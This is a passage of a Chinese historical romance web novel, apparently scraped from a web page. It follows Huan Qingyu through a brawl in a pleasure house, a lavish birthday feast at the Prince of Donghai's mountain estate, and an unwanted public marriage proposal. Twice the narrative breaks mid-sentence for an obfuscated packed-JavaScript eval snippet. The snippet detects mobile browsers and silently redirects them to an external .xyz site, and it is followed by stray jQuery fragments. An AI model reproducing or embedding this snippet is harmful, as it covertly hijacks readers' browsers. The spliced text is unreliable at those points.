“现在晚了。”容景并不看她,冷声道:“我容景的东西,只有玩腻了扔掉销毁的份,没有让别的狗东西偷拿的道理!”他微微弯下腰,用食指勾起紫鸢下巴说道:“他碰过你了?哪里碰的,我就砍掉哪儿,若是整个人都碰了就把他剁了,咱们慢慢来。” 此时楼内一片沉寂,他隐含暴怒的话语,二楼上的桓清与等人也听得一清二楚。 紫鸢还在恳求,“不要,容公子请你放过他吧!一切都是紫鸢的错,是紫鸢痴心妄想,才拿出银两让赵公子帮我赎身的。赵公子只是欣赏紫鸢琴艺,我们并无私情。” “哦,那是叫你动心了,动心了就剜掉他的心呗。”容景笑起来,双目隐隐放光,似乎对将要发生的事情十分兴奋。他掏出腰间的匕首,对一旁的手下说道:“来!就用这把云九大师打造的玄铁短剑,把他那颗多管闲事、滥情虚伪的心剜出来,送给紫鸢姑娘做个留念。” “不要啊!”紫鸢死死抓住容景的裤腿哭喊道。 “不要?听说他还是个书生,那我把剑给你,你废了他右手,我就不剜他的心了。”他将短剑递到紫鸳眼前。 紫鸢跪在地上不敢接,连连给他磕头。 “不愿意?”容景笑得十分轻蔑,“那我来。先解决了他,再轮到你。”容景笑着,轻声细语地说着他对这两人的判决,抬脚就将那位赵公子踢翻在地,一脚踩在他右臂上。 “啊— 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“金陵皇城,天子脚下,容公子公然用私刑?难道不该有个说法?”萧迦叶身姿不变,语中尽是嘲讽。 “呵。”容景在金陵横行霸道多年,还未被人如此挑衅,“别说这花萼楼,就是整个金陵,我说什么就是什么!你别敬酒不吃吃罚酒。” “金陵城现在是何风气,这样的货色也可以称王称霸?”萧迦叶瞬间来到容景身前,速度之快令人看不清动作,只见残影。 容景身边的小厮似乎认出这是刚从荆州回来的卫将军萧迦叶,想提醒自己主子,但容景被萧迦叶挑衅到,已率先出手。 萧迦叶负手而立,几个侧身躲开容景的接连攻击。容景感到被羞辱,变本加厉继续进攻,被萧迦叶找着空隙一脚横踢倒地,旁者皆能看出,两人实力悬殊。 但容景不罢休,一个空翻起身,数招强攻,一个错身后忽然亮出短剑暗袭萧迦叶后背,萧迦叶迅速转身一脚踢他手腕,复又踹中腹部,将他踢至两米开外,与此同时,短剑“哐当”落地。 萧迦叶望着趴倒在地的容景,寒声道,“滚!” 旁边几个伏在地上的小厮立即爬过去扶起容景,“少爷,这是卫将军萧迦叶,咱们还是先撤吧,君子报仇,十年不晚。”跟在容景身边最久的小厮劝道。 容景在侍从的搀扶下勉强爬起来,眼放寒光地盯着萧迦叶冷笑道:“哦!原来就是那个没爹没娘的萧迦叶,怪不得这么多管闲事。今日让你逞了威风,来日你给我等着!”一边说,一边被侍从们半搀扶半架着离开了。 萧迦叶漠然站在原地,微不可察地冷笑了一声。 他转身半蹲下来检查赵文举的伤势,肋骨断了两根,左手和右腿都被打断,亟需诊治,对候在一旁的侍卫流策说道;“先将赵公子和这位姑娘带到神医谷诊治。” 紫鸢跪伏在地,“紫鸢拜谢将军救命之恩!”赵文举半躺在她怀中,也勉力说道:“多谢将军大恩!” 这边厢,桓俭去账房拿到紫鸢的卖身契,桓清与也拔下发冠上的玉簪,一同交到紫鸢手中。紫鸢连忙道:“多谢贵人。”桓清与只道保重,不再多言。 此事了结后,齐浔继续拉着萧迦叶回去喝酒,桓俭则向众人告辞,先带桓清与一同返家。 回家路上,桓清与问道:“我知道容家人一贯猖狂,却未亲眼见过。难道他们一直都是这样欺负人的?”她和世家男子的交集,大多是在国子监和各种宴会上,张狂跋扈、恃强凌弱的事以往并不少见,却不会像今日这般痛下狠手。 听到桓清与的问话,桓俭沉思了片刻,才对她说道:“是。” 一种陌生的不适感瞬间击中桓清与,她感到浑身不自在。桓俭的坦白,令她忽然察觉到自身的某种虚伪。是啊,她何尝不知道真相?在国子监里,容景、容玦、许墉等人欺负一些次等士族的子弟,尚且对其家族有所忌惮,那对待寒门子弟、平头百姓呢? 可是今日这样光天化日下的恶行,不禁令她胆寒,这是容家击垮新政、打败桓家后的耀武扬威吗? 桓俭察觉到她的愤怒,轻轻拍了拍她的头,语气温柔地说道:“别气了。迦叶不是以其道还治其身了吗?” “他就不怕得罪容家?”以容景的脾性,这笔帐势必记上了。 桓俭靠上车厢后壁,缓缓阖上双目,轻声笑道:“容景今日把你都给得罪了,自然也得罪了咱们萧将军。” 听到这话,桓清与忽然有几分释怀。也是,且不论容家爱记仇,容景这厮在嫉恶如仇的人那儿,本就是眼中钉。 桓俭以手掩面打了个哈欠,转头看向桓清与,笑眼如星,“无论发生何事,你要相信桓家,相信陛下。” 4. 世事漫随流水 这一夜,桓清与辗转难眠,一时想到花萼楼的打斗,一时回想起父亲离去的背影,还有帷幔掀起后的那双眼眸......两年未见,他是不是已经认不出自己了?她将被褥蒙过头顶,耳边回响起桓俭在马车上对她说的话,心渐渐平和下来,思绪不知飘向了何处,便又沉入梦乡。 次日清晨,天光微亮。 桓清与神思迷糊地被连云一把从被窝里拉到梳妆台前坐下。连云和几名侍女一起给她上妆、挑选衣裳饰品。可惜她睡意正浓,上下眼皮似粘住了一般,怎么也睁不开,昏沉沉的脑袋左一摇右一晃。 连云不知如何下手,索性放下妆盒,五指按上桓清与太阳穴和头颅两侧几个穴位。 “啊!”一阵闷痛袭来,桓清与瞬间清醒,皱眉问道:“出什么事了?” 连云见她醒了,才回道:“昨夜接到东海王府的请帖,说今日在王府别院太玄山的逸园为殿下举办寿宴,金陵城里有头有脸的王公贵族都请了。咱们家是王府管家亲自来送的帖子,再三请大公子和小姐一定赏脸。” “东海王?”桓清与心想,难不成又是一个来耀武扬威的? “东海王府的宴会,潋娘一向不爱搭理,但我这位表舅身份尊贵,他既诚意邀请,我们不好回绝。”她示意侍女继续梳妆,一边嘱咐连云道:“去二夫人院里回禀一声,按例备些贺礼,我和大公子两人赴宴便是。” 东海王萧章,乃前朝灵帝之幼弟,洛阳沦陷时年纪尚幼,加之母族势弱,当年中原乱军四起,各地藩镇自立为王,偏偏他流落到一位胡族将领手中做了傀儡皇帝,后胡族将领被北边来的鲜卑族歼灭,他又落到了鲜卑族手中。 大魏建国第三年,魏帝萧启花重金迎回了这位前朝高祖遗脉,封为东海王。萧启此举颇受南渡的侨姓大族们拥戴,避免皇室血脉流落在外,一则于汉室先祖无愧;二则可见其光复汉室之雄心。 至于东海王尊贵身份对于朝局的威胁,因萧启颇得民心,而东海王萧章一向无心政事、只贪图享乐,萧章便和其姊鲁国长公主萧文昭一样,高坐在皇亲国戚的位置上,十年如一日地过着他们荒淫无度又安稳无忧的日子。 虽说东海王并未在朝中培植势力,但桓清与细想起来,新政三年间,东海王俨然在为反对新政的世家们打头阵。凡是谈及各级官员蓄奴条令或土断时,冲在前头反对声最大的就是他。如今新政失败,他和容、许两家共同的敌人不复存在,他们各自又会有怎样的企图?桓清与只觉眼前迷雾重重。 她透过镜子看向连云,“哥哥那边准备如何了?” “大公子和往常一样,五更便起来在后山练剑,这会儿应该回来梳洗了。”连云回道。 妆扮好后,桓清与率侍女连云和碧芜出了院门。 初春的清晨,寒风刺骨,她裹紧身上的披风,一溜烟走到门口,三步并作两步上了第一辆马车,从窗口探出头来对连云两人说道:“你们坐后一辆马车,赶紧睡一觉。” 说完放下帘布,顺手接过桓俭递过来的暖壶,叹道:“从金陵城到太玄山,坐马车也要花上一两个时辰。东海王真会折腾人。” 似乎想到了什么,她又道:“不对,你近日多少请帖都给拒了,也就昨日受齐浔邀请去了趟花萼楼。莫非消息传得这么快,东海王知道你闭门养病养好了,才连夜下请帖办这个寿宴?” 桓俭听着她的牢骚,“桓县主恐怕高估桓某的分量了。” “东海王府的寿宴一年能办七八次,哪天东海王忽然想找人饮酒作乐,就会广发请帖。你应了齐浔的约,便不好拒东海王府的请。”桓清与想了想,桓俭现在还未在京中任职,一旦就任,面临的局面恐怕还要复杂许多。 “今朝酒解今日忧,别想太多了。”桓俭从一旁的木箱内拿出几叠毛绒绒的毯子,“桓县主让个座吧。” 桓清与一笑,依言坐到另一侧,任桓俭在原先她跪坐的窄榻上铺了一层毛毯,又拿出一个竹丝枕,“路程久,再睡会儿。” “哥哥你呢,一直打坐?” “嗯。” 桓清与乖乖躺下,像儿时无数个在华府练完功的午后,倒在桓俭身侧入睡。她突然睁开眼,“我及笄以后,哥哥你就不肯和我同坐一辆马车了,每次还都把我从车上赶出去。今日怎么没赶我?” “这辆马车挺宽敞。”桓俭闭目打坐中。 “不对。”桓清与目光清明地望着车顶,“你这次从西南回来有点不对劲。” “哪里不对劲?我这趟回家,答应给你带的礼物可一样都没少。” “就是一样没少才奇怪。” 闻言,桓俭悠悠睁开双眼。 “以往你每次回来,信里答应给我带的东西总会落个一两件,然后说下次给我找。今年竟都齐全了。”桓清与说着睨了他一眼,“你从小就健忘得很,这很奇怪。” 桓俭笑了笑,宠溺地说了句:“睡吧。” 等连云再次把桓清与唤醒时,他们已到了太玄山脚下的逸园门口,连云还在给她整理发髻、衣裳,便听得马车外有人正与桓俭攀谈。 “桓将军少年豪杰,一举平定西南战乱,除去我大魏朝心腹大患。桓氏果然人才辈出。” “将军班师回朝后,闭门谢客近半月光景,我等几次递拜帖都无功而返,饶是今日东海王殿下设宴,才有幸得见将军风采。” 旁边还有不少人七嘴八舌自报家门,或是当场递名帖,桓清与听着都替桓俭头疼。 她缓步走下马车,环顾四周景致。 逸园靠近太玄山主峰,整座园子依山而建,放眼望去,从前院到后山,亭台楼阁,飞湍瀑流,应有尽有。正值初春时节,山间草木苍翠,郁郁葱葱,几处梅花灿然而开,夺目生辉。 几许溪流蜿蜒而下,清脆水声隐约传响,桓清与心上的阴霾也散去不少,回头唤了一声:“哥哥,时候不早了,咱们入园吧。” 桓俭才如临大赦一般,借机一一辞谢众人抽身回到桓清与身边。 入园后,一位年纪尚轻、样貌俊朗的管家为桓家兄妹引路,顺便介绍逸园前后布局和沿途景致。其人谈吐不凡,言语间既展示了东海王的雄厚财力,又彰显了在逸园精巧构造背后,其主人的出众品位。 什么“天人合一”“六位时成”的建筑智慧,或是“万物并作,吾以观复”的道家思想,“仁者乐山,智者乐水”的精神追求,据桓清与所知,东海王萧章本人可没有这样的涵养。桓俭一路听得连连点头,时不时回应他几句,两人对答如流,颇为投契。 待管家转身离开,桓清与对桓俭叹道:“此人不错,可惜明珠暗投。” “他是东海王一名妾室的外甥,出身寒族,能力在东海王的亲眷中十分出色,被东海王收为义子。但出身不高也让他一直被其他几名义子压制。” 桓清与微微睁大眼睛看着桓俭,“你一年多没在金陵,连这都打听得一清二楚?” 桓俭笑了笑,轻轻点了下桓清与的额头,道:“这点底细都不知道,你也敢赴人家的宴?” 东海王的宴会争议极大,有的王公贵族在其间乐不思蜀,有的则避之不及,如桓家长辈就鲜少赴会。此番桓俭和桓清与现身逸园,众人不禁猜测桓氏一族自桓安罢相离京后,将由桓家二爷桓宣的独子桓俭掌权。而桓家和东海王府的关系,不知又将迎来怎样的局面? “今日如此盛大的宴会,桓家仅让大公子和桓县主两人出席,也不知是赏脸还是不赏脸?” “看来传闻是真的,桓家是要让大公子掌家了。只是大公子回京后的官职一直没有定下来,仅封了一个镇军将军的军衔。你们说陛下究竟是何意?” 桓俭携桓清与入园后,遇到不少朝官及其家眷,两人都熟练地见礼、寒喧,闲言碎语一概不理会,不一会儿便离开前院,往后山走去。 逸园后山景致如画,冷泉、石桥飞瀑、竹径、梅亭几处皆在金陵小有名气。两人还在山脚下,便远远望见各路名士贵女流连其间,长袖翩跹,彩衣如虹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549295|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 桓清与定眼看了看身侧的桓俭,一袭剪裁简约的青色宽袍,身若修竹。 从小到大,桓俭都是他们这一辈中的天才,文韬武略样样出色,十三岁通过国子监考核,十七岁从军,大大小小军功无数。二叔桓宣生性散漫,好舞文弄墨,不太管束家中子女,父亲却俨然将桓俭当作桓家下一任族长来培养。虽如此,他天生有种不争不抢的气质,永远从容不迫,游刃有余。 “瞧出什么来了?”桓俭发现了她的目光,问道。 “我在想,你得找个地方躲起来了。方才那些女眷跟在父母身边自然不敢做什么,到了后山,大家都各自游山玩水,行动自由,就可以来围堵你了。”桓清与想起小时候帮他挡桃花的趣事儿,窃笑不已。 桓俭正要说什么,突然听到另一条山路上,几个公子哥在议论他们。 “自桓相辞官之后,桓县主极少出来见人,看来是习惯了风光无限,被人左拥右护不敢出来丢人。如今才过去半年,桓家大公子又立了战功回朝,见家族中还有人能撑撑脸面,这才出来交游的吧。” “你们也不想想,算算年纪,桓县主及笄已有三五年,到了议亲的年纪,躲不下去了。”其中一人声音不小,一边说着一边目光赤裸地远远打量着桓清与。 “哎,我说你们几个还是小声点吧......”察觉到桓俭的目光,当中一人连忙提醒几位同伴。 桓清与敛了笑容,继续往前走着,口中轻声说道:“爹爹辞官前一个月,让祭酒给我安排了个差事,写《庄子》注疏,这我哪里会?讨价还价半天最后分了个《左氏春秋》注疏的活儿。前前后后忙活半年多,到你回京的前几日才交了差。估计就是想让我避开金陵城里的这些闲话。” 桓清与语气故作轻松,她自然猜想过自己在皇城的处境会跟以前有所不同,真正面对时,难免有几分心酸。那些背后嚼舌根的人,有的曾奉承过她,有的在爹爹手下办过差,新政濒临溃败时,纷纷改旗易帜,落井下石。 “哥哥你不会以为这点小事就吓倒我了吧?”桓清与回头望向桓俭。 “不会。”桓俭双眉微蹙,略一沉吟,才道:“我只是不知道,你已经能注《左氏春秋》了。祭酒是老糊涂了吗?还是我离京太久,陛下已经换了一位当职?” “咳!”桓清与故意清一清嗓子,“桓庭檐,祭酒大人此刻就在清溪边上垂钓呢,你不妨再大声一点?” 桓俭哑然失笑,“桓清与,你这小把戏啊,十年前我就不信了。” “咳咳——老夫看来真是老了,你们这一辈娃娃也爱拿我糟老头子玩笑了。”一个老迈而不失苍劲的声音从身后传来。 桓清与立即肃然转身,只见一手执拂尘,一手执卷,鹤发苍颜的严道林正正站在他们身后。 兄妹两人立时躬身一拜,恭恭敬敬地给授业老师见礼,“学生拜见老师!” “都起了吧,在老夫跟前装什么装!”严道林踩着他那双常年一尘不染的布鞋,从两人身旁飘然而过,“想是当年戒尺挨得少了,实乃为师之过也。” 桓清与顾自笑着岔开话题:“稀客,老师今日怎么也来赴宴了?难道是为了观太玄山的冷泉。” 严道林把手中的拂尘一抖,换一只手搭着,眼中尽是玄机。 桓俭笑道:“传闻容珩近日作了一只新曲,堪称天籁。恰逢太玄山春景正好,应当会在竹林附近弹奏一曲。为此慕名而来的人里,恐怕还少不了尚书令山大人和太常寺卿钟大人这两位棋坛圣手。” “话都说到这份上了。桓庭檐,你小子这几年欠我的棋,今日得还了。”严道林说着,越发急得吹胡子瞪眼,直拉着桓俭往竹林深处的棋亭走去,“你小子,每次一赢了就跑,一跑还一年半载不见人,害得老夫大仇迟迟未报。今天一定让你输得好看!” “桓丫头,你哥哥我借走了。不让他输我三局不还你了。”严道林声如洪钟,回声从竹林一阵阵传来。 桓清与一人呆在原地,簌簌山风忽然又冷了几分。 5. 明月下西楼 “大公子又被抢走了?”碧芜背着琴盒走过来,站在一边冷冷说道。 “是啊。”桓清与目光留在竹林深处,笑道:“不错了,整整陪了我一刻钟。听说冷泉边上有一株上百年的红梅,我们去瞧瞧。” 桓清与仪态端庄,神色自若地穿过人群,俨然还是以往桓相在位时,最受魏帝宠爱的桓县主。 在大魏,这样百官云集的宴会,一直都是贵族男女争奇斗艳的绝佳场合。世家大族通过儿女联姻巩固家族地位,品级较低的官宦人家也希望自家儿女在此大放光彩,若得当朝名士几句赞誉,将来出仕时在中正官那里也好挣一个更高的品级,若得一朝攀上高门,往后便更利于提携家门。 不过如今门阀势力越发强盛,无论个人仕途还是婚姻,人品资质倒在其次,首要考虑的还是个人背后的家族门第。因而这宴席上的主角终究是世家大族,低阶士族不过陪衬尔尔。 桓清与出身高贵,早已看厌了这样的场面,不愿参演,也不想看热闹。她知道,桓安辞官,桓家是从一流门第的位置上下来了,她不再是士族们争相追捧的对象,这等场合也自有新贵们粉墨登场。众星拱月或是无人在意,她都已试过,并不觉得新鲜。 此时冷泉边,一树红梅照水,异香扑鼻。 连云拿张毯子垫在一块平整的石头上,让桓清与坐下,再将食盒一层层取出,几盘精美的糕点摆上食案,周遭景致瞬间从清冷孤寂变作惬意悠然。 桓清与一双眼望着山上各处人潮,偶尔喝上一口自家酿的桃花酿,时不时和连云、碧芜两人闲话几句,行个酒令。见时辰差不多,人渐渐多起来,纷纷涌向山谷中心,便起身往竹径方向去寻桓俭。 路过山谷时,崔菀忽然叫住她,“清与,我可算找着你了,还以为你迟迟未到。” “刚在冷泉边歇了会儿。”桓清与略带歉意地笑起来,亲昵地拉上崔菀的手,欣赏起她的妆扮,“你今日真好看,恰似清风拂素波,芙蓉向脸开。” “就你嘴甜。”崔菀挽着她往竹径方向走,“你可是去听乐府令的新曲?” “嗯。”桓清与点头。 “祭酒大人必定也在那儿了。说不定正拉着桓大公子、山大人还有钟大人先下几盘棋。” “正是。他知道自己棋臭,所以专挑高手来练手。这和他教我们读书的法子倒挺像。” “就你爱拿祭酒说笑。”崔菀以帕掩面,轻声笑起来,“对了,去年你协助祭酒编写的《左氏春秋》注疏我已看过,内容详实,见解独到。”她压低声音,“年初有几位五经博士调离国子监,这事你可有耳闻?” “嗯。”桓清与略一停顿,浅笑道:“他们攀上了高枝,自然有更好的去处。” “良禽择木而栖,我们管不着。只是如今五经博士的职位空了出来,你不妨一试?” 桓清与想了想,“爹爹辞官之前,我的确想过入国子监任职,但如今,我想去参军做个武将。至于五经博士,你在我们这一辈里学业出众,最受祭酒喜爱,你去任职岂不是更合适?如果崔大人不便出面,我去跟舅舅举荐你。” 崔菀轻轻抚上桓清与的手背,笑道:“不必了。我知道你是一片好心,只是,父亲现下正在给我物色亲事......况且,朝堂局势多变,无论家人还是我自己都不想涉足,你的好意我心领了。” 桓清与听到“亲事”二字,还想问什么。崔菀看了一眼朝他们走来的一位贵仆,目光温柔地止住了她的询问,“多事之秋,改日我再与你细讲。” 桓清与转头看向来人。 “小的见过桓县主。我家二公子想请县主阁中一叙,还望县主赏脸。” 从衣着可知是许氏家仆,但桓清与记不起自己和他们家二公子许范能有什么关联。她几乎不曾和他说过话,顶多是早年和许家四小姐许蔚交好时,打过几次照面。 “敢问,二公子可有说所为何事?” “小的不知。我家公子只说有要事相商,命小的务必请到县主。”家仆有些面露难色地说道,“这里人多眼杂,还请县主不要为难小人。” 越来越多人打量起这边的一举一动,桓清与朝崔菀说道:“我去去就来。”说完,不紧不慢,往山谷中央的清心阁走去。 清心阁地处山谷中心,建有三层楼高,可远眺诸峰野际,近览山泉飞瀑,奇花异草。阁中布置精细,一楼座椅、软榻、茶席、棋台一一具足,可供宾客们欢聚一堂。二楼设为书画室,笔墨纸砚备的都是当世奇品,便于名士们吟诗作画。 三楼陈设简单,一矮几,一茶台。传闻正是上一任乐府令“手挥五弦,目送飞鸿”的地方,当年一首《风入松》,让一曲、一人、一阁都在数典阁天下榜上留了名。 桓清与走入清心阁,四面轩窗洞开,清风徐徐。厅中独坐一人,素色衣襟,轻裘缓带,随着他转身,日光流转于袖袍上,金丝银线绣的流云暗纹便熠熠生辉起来。 许范双手作揖,一派谦谦君子的风度,“许范见过桓县主。” 恰此时,墙上悬挂的一幅幅画卷依次打开,如飞泉挂壁,倾泻出金陵城一年四季各处的绝妙景致:曲江水畔的桃花林、国子监的竹霭松烟、郊外马场的一碧千顷、许蔚闺阁前的香玉雪海......还有一幅,正是今日太玄山冷泉的一树寒梅映水,每一幅画中都有一妙龄女子的身影。 而那女子的面容,依稀都是桓清与的模样。 “许公子这是何意?”桓清与有一种不祥的预感,脸颊到耳后微微热了起来。 许范淡笑着,看了眼窗外洒落的斑驳碎影,复又抬头道:“许范倾慕桓县主多年,想求娶县主。” 此话一出,窗外顿时一片哗然。饶是金陵贵眷们见多识广,也从未见过光天化日下如此直白的求亲,东海王这场宴会实在是来的值当。 桓清与脸上的红晕,直被这一句话吓住了,换做一片惨白。她稳住气息,说道:“儿女婚事,一向由家中长辈做主。许二公子此举恐怕不太妥当,还是尽早将这些画卷收起,以免惹了些风言风语传出去。”说完便欲离开。 “县主误会了。”许范叫住她,“许某自会上门提亲。只是,就算有父母之命、媒妁之言,婚姻一事终究关乎一生幸福,范想知晓县主的心意。” “我无意。”桓清与脱口而出。 心中懊恼自己说得太直,但对于许范,先不提她对此人毫无心思,加之两家关系并不和睦,她断不可能和他之间有什么。 话音刚一落地,窗外又是一片嘘声。 许范这时脸色也有些浮动,未料她会拒绝得如此直接。 “二公子人中龙凤,是桓清与配不上你。况且,现今三国局势初定,正是大魏勤修内政、励精图治之机,清与愿承先母遗志,为陛下开太平盛世尽绵薄之力,但不论儿女情长。” 萧漪清失踪后,有密探在石头城江边发现其疑似落水的证据,但桓安父女和萧启始终不相信萧漪清身亡一事,直到三年后仍旧搜寻无果,萧启才为萧漪清发丧。因而在大魏人心中,晋国长公主已然仙逝。久而久之,追寻萧漪清的下落只是桓家父女两人的执着,对外,桓清与不再争论,言语上也接受了“先母”和“已故晋国长公主”此类说辞。 许范面带赞赏地笑道:“许范正是欣赏县主深明大义,我愿与县主一同匡扶社稷。” 桓清与气结,一时拿不定主意该如何了结。 “看来我让县主为难了。”许范清俊的面容上,添了几分愧色,“县主可是早已有了意中人?” “二公子多虑了。”桓清与答得极快,生怕有半分的犹疑令人多想,她见许范还想说些什么,索性直言:“此事和旁人没有任何干系,是你我二人没有缘分。今日之事最好到此为止,别扰了公子清誉。桓清与告辞。” 说罢,转身而去,全然不顾周围人的目光。 许范留在厅中,呆了片刻,最后只默默笑着让侍从将壁上的画一一收起,独自一人上了楼。 桓清与步出清心阁,便看见许蔚着一袭紫色胡服坐在左侧亭中,一人独饮。 仿佛察觉到桓清与的视线,许蔚将酒盏一放,拎起箭筒,背上长弓,一步跃上骏马,拍马而去,在幽幽竹影中,留下一抹飞驰的紫虹。 “你和许蔚还是老样子?”崔菀走过来问道。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16549296|186752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老样子。许家人都奇怪得很。” 崔菀知道她是恼许范的事,忍不住笑道,“今日这事你怎么看?” 桓清与一听到这话就头疼,一副认输告饶的神情说道:“我也不知该怎么看,我们还是去看祭酒大人输棋比较解气。” 崔菀会意,没再说什么。两人相伴走进竹林,转过西桥,来到棋亭,见桓俭正和尚书令山洵对阵,黑白棋子胜负难分,严道林和钟仪在旁观战。 崔菀一见这情形便加入了观战之列,神色一时赞赏不已,一时暗藏机锋。 桓清与看了眼棋局,从连云手中接过食盒,拎出一壶桃花酿、几只酒杯、几碟梅花酥放在旁边石案上,倒上酒分给众人,最后再给自己倒了一杯,坐在桓俭身侧的石凳上,自顾自地喝起来。 严道林将拂尘一甩,坐下来喝了口酒,又闻了闻杯底的酒香,笑道:“清丫头棋艺不精,这酒还不错。” 桓清与一笑,又给他续了一杯。 棋局一时不见进展,钟仪也坐下吃了些酒食,笑道:“入口清甜,回味甘醇,微辛而不烈,清神醒目,用来佐棋确是不错。”桓清与也给他续了一杯。 山洵正愁眉不展,右手食指在棋台旁点了几下,才将目光从棋盘上挪开,“能让这两个老酒鬼都交口称赞,可不多见,桓县主也给老夫尝一尝这桃花酿是何风味罢。” 桓清与立即拎着酒瓶,行云流水一般给山洵斟满一杯。“这一壶是取年初雪水新酿的,比往年多添了几道工序,又加了肉桂、忍冬等几味料。山伯伯尝尝味道如何?” 山氏和桓氏两家自来交好,新政时期,山洵任尚书仆射,为时任尚书令桓安的副手,桓清与也和山家二公子山玥、小公子山凌打小相识。桓安辞官后,山洵升任尚书令,周旋于多方势力之间,虽难与中书令容铉、侍中许遵抗衡,但对桓家的态度依旧如故,待桓氏旧党也算尽力维护,几名新政的得力干将被贬谪离京,免于罢官,已是他几番抗争得来的结果。 故而桓清与对他敬重中又带有几分亲近。 山洵浅尝了一杯酒,忽然灵光乍现,执黑子破局,一时占了上风。“哈哈哈,不错不错,这酒确实令人神清气爽。” “今日只带了这一壶,诸位大人若是喜欢,新一批酒出了我再送几壶到府上。”桓清与轻声说着,一边给桓俭再倒上一杯,酒声方止,桓俭落子,局势再次扭转。 桓俭的棋艺是桓安亲授,打六七岁起他就爱跟在桓安身边观摩顶尖棋手的对弈,十九岁时首次打败当时棋圣,亦是时任乐府令的古微先生。桓俭性情随和,待人接物总是温和有礼,只有在棋局上杀机四伏,从不退让。几乎要把桓清与宠上天的他,唯独一次对桓清与面露不悦,便是桓清与七岁时不小心将他收藏多年的棋谱落入湖中。 从那起,桓清与就知道棋在他心里有多重要,但凡遇到桓俭与人对弈,她不吵不闹,话也不多一句,唯恐扰了他的思绪。 此刻也是如此,她手里还握着酒壶,一动不动地盯着棋盘,寻思山洵这棋怎么下都是死局。在座几人皆屏息凝神了好一会儿,山洵才道了声:“我输了。” 桓俭轻轻作了一揖。 “我以为你离京一年,棋艺会有所退步,哪知反而功力大涨。”山洵一手抚须感慨道。 桓俭一边收拾棋盘,一边说道:“今日战况激烈,晚辈不过侥幸而已。改日再向各位前辈讨教。” “当然得再杀几场了。”严道林手持拂尘点着山洵和钟仪说道,“今天说好了和我下三盘棋,结果他们两个一人抢了我一盘。改日你得给我还回来。” 桓俭起身,抚了抚衣袖笑道:“祭酒别担心,学生替你记账上了。” 言罢,桓徵前来禀报称容大公子已入园,在清心阁被几位世家公子贵女拦下,说要比试一场。容珩最终就选在清心阁抚琴一曲。 桓俭看了一眼桓清与,后者浅笑道:“我有些乏了,哥哥你带碧芜过去吧,顺带把容大公子的新曲偷学过来。” 桓俭只道了声好,未细究她今日的反常,又叮嘱道:“在此处歇一会儿,有任何事派人告知我。”说完便和山洵一行人往清心阁走去。 6. 明照有意抱琴来 桓清与见崔菀并未移步,“佳景,我没事。” 崔菀轻敛裙裾,缓缓在一旁坐下,道:“我方才跟你提到家中给我物色的那门亲事,对象正是许范。” 桓清与面色一惊。 崔菀却不紧不慢地继续说道:“此事说来话长。半年多前,许家的陈夫人看中了我,和继母表达过想结亲的意思。我父亲的为人,你也知道的。那时新政于民生、于军政成效显著,但在朝中争议极大,有些门第或权势滔天,或仰人鼻息,情势瞬息万变。他还想再观望一阵。” 其父崔铭观望的结果,就是不过旬月,新政失败,桓安辞官,侍中许遵加封大司空。他原本相中的桓氏地位不保,而有意结亲的许氏跃升为第一等门第,几乎和容家形成鼎立之势。 涉及新政,崔菀略停了停,桓清与知道她是怕自己难堪,“崔中散的意思我明白。我们两人相交原本就和这些是非无关,佳景你无须讳言。”她想了想,道:“局势变化后,改弦更张的或许不止崔中散一人?” 崔菀和桓清与对望一眼,有些自嘲地笑道:“是啊。后来没过多久,东海王又和许家说起了亲。” “是那位一直说非哥哥不嫁的安宁郡主?”桓清与轻声问道。 “正是。” 安宁郡主十四岁那年在宫宴上见过一次桓俭,自那以后便扬言非桓俭不嫁,东海王妃曾上门探过口风,被桓家二夫人萧潋容当场婉拒。如今郡主年过十八,仍未传出议亲的消息,原来最终东海王也看上了许家二公子。 “但听说许家那边左右摇摆,迟迟没有拿定主意。” 桓清与暗叹,许家现在是香饽饽,不知许范是打了什么鬼主意,才有今日的举动,思及崔菀,又问道:“这门亲事,你自己意下如何?” 崔菀倒了一杯酒,道:“我也无意。” 说完,她和桓清与两人一齐笑了起来。 “许家是龙潭虎穴,我要是进了门,只怕会被吃的连骨头也不剩。”崔菀摇了摇头道,想到她那几个不省事的弟弟,心中的愁绪都化作一声叹息。 桓清与思量片刻,突然站起来,“这事有蹊跷,我再去一趟清心阁。” 清心阁矗立山谷中央,阁前是旷野诸峰,阁后背靠一座石山。石山上错落着好几处前代开凿的佛教石窟,石窟之间缘山修建了一座朝霞楼,供人登高揽胜。 桓清与和崔菀再次走到清心阁附近时,山谷中央的草坪、四周亭台、对面的朝霞楼上都坐满了人,或谈笑风生,或敞怀畅饮。 朝霞楼上有几位琴师或坐或躺,或倚窗翘首,每人手中一张形态各异、风韵独具的古琴,就等着与号称三国第一乐师的当朝乐府令容珩比试一场。 朝霞楼与清心阁之间,以一座飞廊相连,廊上几位华服女子朝崔菀招手道:“佳景,总算找到你了!” “可把你逮住了。”邱氏独女邱意晚款款走来,向桓清与施了一礼,随后对崔菀笑道:“咱们快些上去,今日这场比试非得由你坐镇不可,不然那几个向乐府令下战书的人可不服呢!”说着拉起崔菀,脚步轻快地上了楼。 桓清与猝不及防看着崔菀被一溜烟带走,再一次一人留在原地,独自欣赏着才子佳人们的意气风发,心下不禁感慨,当世能让清流名士们如此欢欣鼓舞,快意今朝的,非容珩这等大人物不可了。 